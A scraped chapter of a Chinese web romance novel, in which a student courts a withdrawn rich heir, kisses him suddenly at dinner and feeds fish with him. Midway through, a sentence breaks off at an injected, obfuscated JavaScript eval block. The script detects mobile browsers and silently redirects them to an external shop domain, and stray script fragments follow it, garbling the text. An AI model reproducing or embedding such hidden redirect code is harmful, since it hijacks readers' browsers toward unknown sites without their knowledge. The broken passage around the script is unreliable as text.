文趣网 > 其他小说 > 这个卡非抽不可吗[快穿] > 12. 一朵开心的小花12
    “要我说,既然都有进展了,现在打破规律,来个若即若离,欲擒故纵,让他慌让他乱,保准你下周就能拿下他。”

    周五上完课回宿舍的路上,陈书棠十分积极的给步伐匆匆的许楠枝出谋划策。

    下课人流多,陈书棠说得兴起,许楠枝注意着周围,偶尔拉她一把,避免她撞到人。

    “没必要。”许楠枝简短的否决陈书棠的提议。

    “怎么就没必要了,要让他意识到你的重要性啊,不能让他觉得你离不开他,许楠枝,在追人上,过于舔,是大忌。”陈书棠拉住许楠枝,一本正经的忠告。

    这个忠告听得许楠枝啼笑皆非,“一个月只花八天的时间追人,这算什么舔。”

    一句话成功让陈书棠哑口无言。

    她安静不过两秒,追上许楠枝,挽着她的胳膊,感叹:“那这小少爷挺不值钱啊,这么容易就沦陷。”

    许楠枝但笑不语。

    哪里容易了,她可是搭进去了一只手!

    三个月后才能行动自如的手!

    ……

    傍晚的霞光渲染柔软的云絮,金红的笔触拖拽出长长的飘带,没入绿色森林与蓝天的边界。

    温愆坐在三楼外围阳台正对大门方向的遮阳伞下,面前摆放着画架,但他却无心作画,画笔停滞在半空中,许久没能落下,眼角的余光时不时扫向别墅门口。

    房间里的日历日期一天一天被划去,见面的日子越来越近。

    明明不应该在意的,但还是莫名开始期待许楠枝的到来。

    甚至仅仅是想到,心口就不自觉的雀跃起来,那些缠绕堆积在胸口的,如阴霾一般的晦暗都压制不住这股上扬的情绪,腐烂的污泥破开了一个口子,萌生一颗嫩黄的芽。

    画笔不知何时落在画纸上,三两笔轻松勾勒出一朵热烈的向阳花,黄色的花瓣纹路分明,棕色的花蕊密集,鲜亮的花朵在白色的画纸上朝气蓬勃,野蛮生长。

    蓝天绿茵为背景,向阳花簇簇盛放。

    画作最后一抹颜色落笔,橙红的霞光落幕,别墅门口亮起刺眼的车灯,许楠枝推开车门,低头小心的下车。

    温愆一直看着许楠枝进入一楼大厅,身影彻底看不见,才抱着画架回了房间。

    取下画纸放在隔壁的仓库桌上晾着,温愆回到主卧,在沙发上坐下,随手拿过茶几上的魔方,随意的打乱,心不在焉的复原。

    隔了二十分钟左右,主卧的房门被敲响,温愆起身要去开门,许楠枝就已经按下门把手不请自入,仿佛刚才的敲门只是礼貌性的通知。

    “温愆,叔说你还没有吃晚饭,我也还没吃,叔端了两碗面上来,你来端一下,我们一起吃吧。”

    许楠枝推开门却并没有进去,站在门口冲着温愆热情的发出恰饭邀约,管家站在门外,听着她无比自然的吩咐小少爷做事,嘴角抽搐。

    刚想说他端进去,就见小少爷面无表情的接过了他手里的托盘,转身走进房间,把两碗面放在了茶几上。

    “叔,感谢你的帮忙,拜拜。”许楠枝笑眯眯的朝管家挥挥手,关上主卧的门。

    门一关上,流通的空气变成内循环,主卧里弥漫起鸡汤面的清香。

    “我闻着挺香的,你尝尝味道怎么样?”许楠枝拉着温愆在地上的软垫坐下,递给他一双筷子,眼睛亮亮的看着他。

    温愆接过筷子,低垂下眉眼,夹了一筷子面条慢条斯理的吃下。

    温愆对食物没有什么偏好,也不热衷吃饭,一口面吃得安静缓慢,画面赏心悦目,就是显得菜不那么美味。

    许楠枝不受影响,仍旧盯着他那张好看的脸,等着他的答案。

    温愆点了点头。

    许楠枝拿起筷子吃面,她吃两口就观察一眼温愆,温愆吃得慢,她碗里的面只剩一半时,他碗里还有很多,像没动过一样。

    这么吃下去,坨了更不好吃。

    许楠枝的碗里汤还有很多,面坨的慢,温愆的面已经开始吸汤汁了。

    “温愆,你要是吃不完,我们可以交换。”许楠枝敲了敲桌子吸引温愆注意力,好心的提议。

    温愆拧眉,“有我的口水。”

    “你很介意这个?”许楠枝挑眉。

    温愆点头。

    许楠枝的表情难以捉摸起来,她弯了弯唇角,故弄玄虚的说:“你很快就不介意了。”

    温愆不明所以的看着她。

    许楠枝朝他勾勾手指,示意他靠近。

    温愆听话的靠近。

    距离拉近剩下二十厘米左右时温愆停下,刚要看向许楠枝,后颈倏地被扣住,二十厘米的距离猛地缩短成五厘米,呼吸的热气侵袭而来。

    温愆不适的眨眨眼,有点呼吸不畅。

    许楠枝凭借着纵览群书的理论经验,扣住温愆的后颈让他无法后退,猝不及防的倾身吻在他嫣红饱满的唇角,感受到柔软的触感,她试探着伸出舌头,撬开虚虚阖着的唇缝,深吻温愆。

    气息交融,温愆身上干净的浅香若有似无。

    许楠枝掐着时间撤离。

    温愆眼底水汽氤氲,眼尾发红,面无表情的脸呆滞,近乎失神的盯着她。

    许楠枝吻他纯粹是临时起意,原本只想换面的,但温愆跟她说口水,她就控制不住往歪处想,再加上小少爷这张脸,她实在是抗拒不了。

    天知道她见他第一眼就想睡他,忍到现在只亲亲已经是极限了。

    “温愆,是你先勾我的。”得了便宜还卖乖的人率先倒打一耙。

    再好的脾气也经不住这么挑衅,温愆气愤的转过头,拿起筷子,泄愤的继续吃面。

    他吃的完,不需要交换!

    只是生气,没有抵触接吻。

    许楠枝弯了弯眉眼,感觉前途一片光明。

    ……

    半夜十二点,睡不着的温愆回想起晚饭那会儿的事,越想越不对劲,忍不住在脑海里复盘每一个细节。

    理清楚他一点反抗都没有,就任由许楠枝占便宜后,他抿了抿唇,找补一般的下床,进卫生间刷了牙。

    刷完牙,他坐在窗边,看着落地窗外的夜空,星辰如碎钻闪烁,不自觉的,他想到了许楠枝看向他时总是亮晶晶的眼睛。

    又不自觉的,他想起了那个吻。

    少年垂下头,修长骨感的手指摸向后颈,星光闪烁下,白皙如玉的耳垂红的快滴血。

    许楠枝并不知道温愆大半夜不睡觉进行的一系列心理活动,她早早的就睡了,还舒坦的一夜无梦,一觉睡到九点半。

    洗漱好下楼准备吃早点,在楼梯口碰到了抱着新鲜花束的管家。

    许楠枝叫住管家,好奇的问:“叔,你拿着这些花要去干什么?”

    “给老爷房间换摆放的花。”管家朝着许楠枝礼貌的颔了颔首,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677976|207573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    客气的回答。

    许楠枝看了看鲜花,来了插花的兴致,劲头十足的问:“还有多余的吗?”

    管家微一点头,“有很多,在后院分拣。”

    许楠枝眼睛亮了,笑吟吟的拜托管家,“叔,帮我挑一些,我等下带小少爷一起去插花。”

    管家应下,“好,我会放在专门的插花室里,具体位置随后发你。”

    “好呢叔,感谢。”许楠枝侧身避让开,管家抱着花束进了温老爷子房间。

    想着时间不早再过两个小时就要吃午饭,许楠枝去厨房拿了两个馒头,用纸袋装着夹在绷带上,一边往三楼走,一边单手把馒头撕成小块塞嘴里。

    有点噎,但嚼着嚼着,嚼出一股回甘。

    吃完一个馒头,正好走到温愆卧室门前,她习惯性的想要推门而入,但还是克制住,秉持着礼貌的敲了敲门,再推门而入。

    温愆麻木的看着许楠枝大摇大摆的进来,面无表情的接过她递给他的馒头,小口小口的咬着吃,腮帮子不时鼓起。

    “温愆,你今天有什么安排吗?”许楠枝挨着他坐下,手肘撑在沙发扶手上,侧过头专注的看着他。

    温愆鼓着腮帮子摇了摇头。

    许楠枝看得手痒,忍不住直起身,伸出右手戳了戳他的脸颊,换来少年一个饱含怨念的眼神。

    手指蜷曲,指腹蹭了蹭,默默缩回来。

    “温愆,那我们吃完午饭去插花吧。我给你插的你摆在床头,想我的时候,你就扯一片花瓣。你插的我就带回学校,放在我宿舍的桌子上,去图书馆的时候我就带一朵,就像你陪着我一样,我会拍照片给你的。”

    许楠枝原本是想用语言潜移默化影响温愆对他们关系的认知,但描述着描述着,反而给自己描述美了,眉眼扬起,唇间溢出遮掩不住的笑声。

    温愆抬眼静静的看着乐不可支的许楠枝,默默的咬了一口馒头,感觉出了一丝淡淡的甜。

    早饭前的两个小时,许楠枝跟温愆去了后院喂鱼,入秋后哪怕池塘里注入了恒温的水,但莲叶还是枯败了一些,红通通的锦鲤摇曳着鱼尾巴,自在的游来游去。

    许楠枝撒了一把鱼食下去,锦鲤从四方汇聚,张着鱼嘴,争先恐后的抢夺鱼食。

    “温愆,你看,那条好胖哦。”许楠枝指了一下池塘里的一条胖鱼,转头兴奋的跟温愆分享。

    温愆漆黑干净的眸子一直追随着许楠枝,她突然回头,他一时没来得及收回视线,直直的撞进她含笑的眼睛里,冰封沉寂的心脏狠狠一颤,裂开了密密麻麻的纹路,清晰的跳动起来。

    从未有过的体验让他仓惶的攥紧了衣袖,捏出道道褶皱,眼底的迷茫无边无际的蔓延。

    “那条。”许楠枝看他眼神乱飘,以为他没看到,抓着他的手,指给他看。

    胖鱼吃光了鱼食,悠哉悠哉的晃动着肥胖的鱼肚子离开。

    “我们晚上吃鱼吧。”看着胖鱼闲适的姿态,许楠枝突发奇想。

    温愆垂眼静静的盯着交握在一起的手,肢体接触的不适完全消失,反而让他有些渴求起来,他指腹小心翼翼的蹭了蹭许楠枝柔软温热的掌心,然后偷偷看了一眼许楠枝。

    许楠枝毫无反应,他悄悄松了一口气,眼睛里溢出愉悦,像只偷腥的猫。

    许楠枝将一切纵收眼底,但她装作没看见,继续若无其事的跟他讨论晚上的鱼应该怎么做。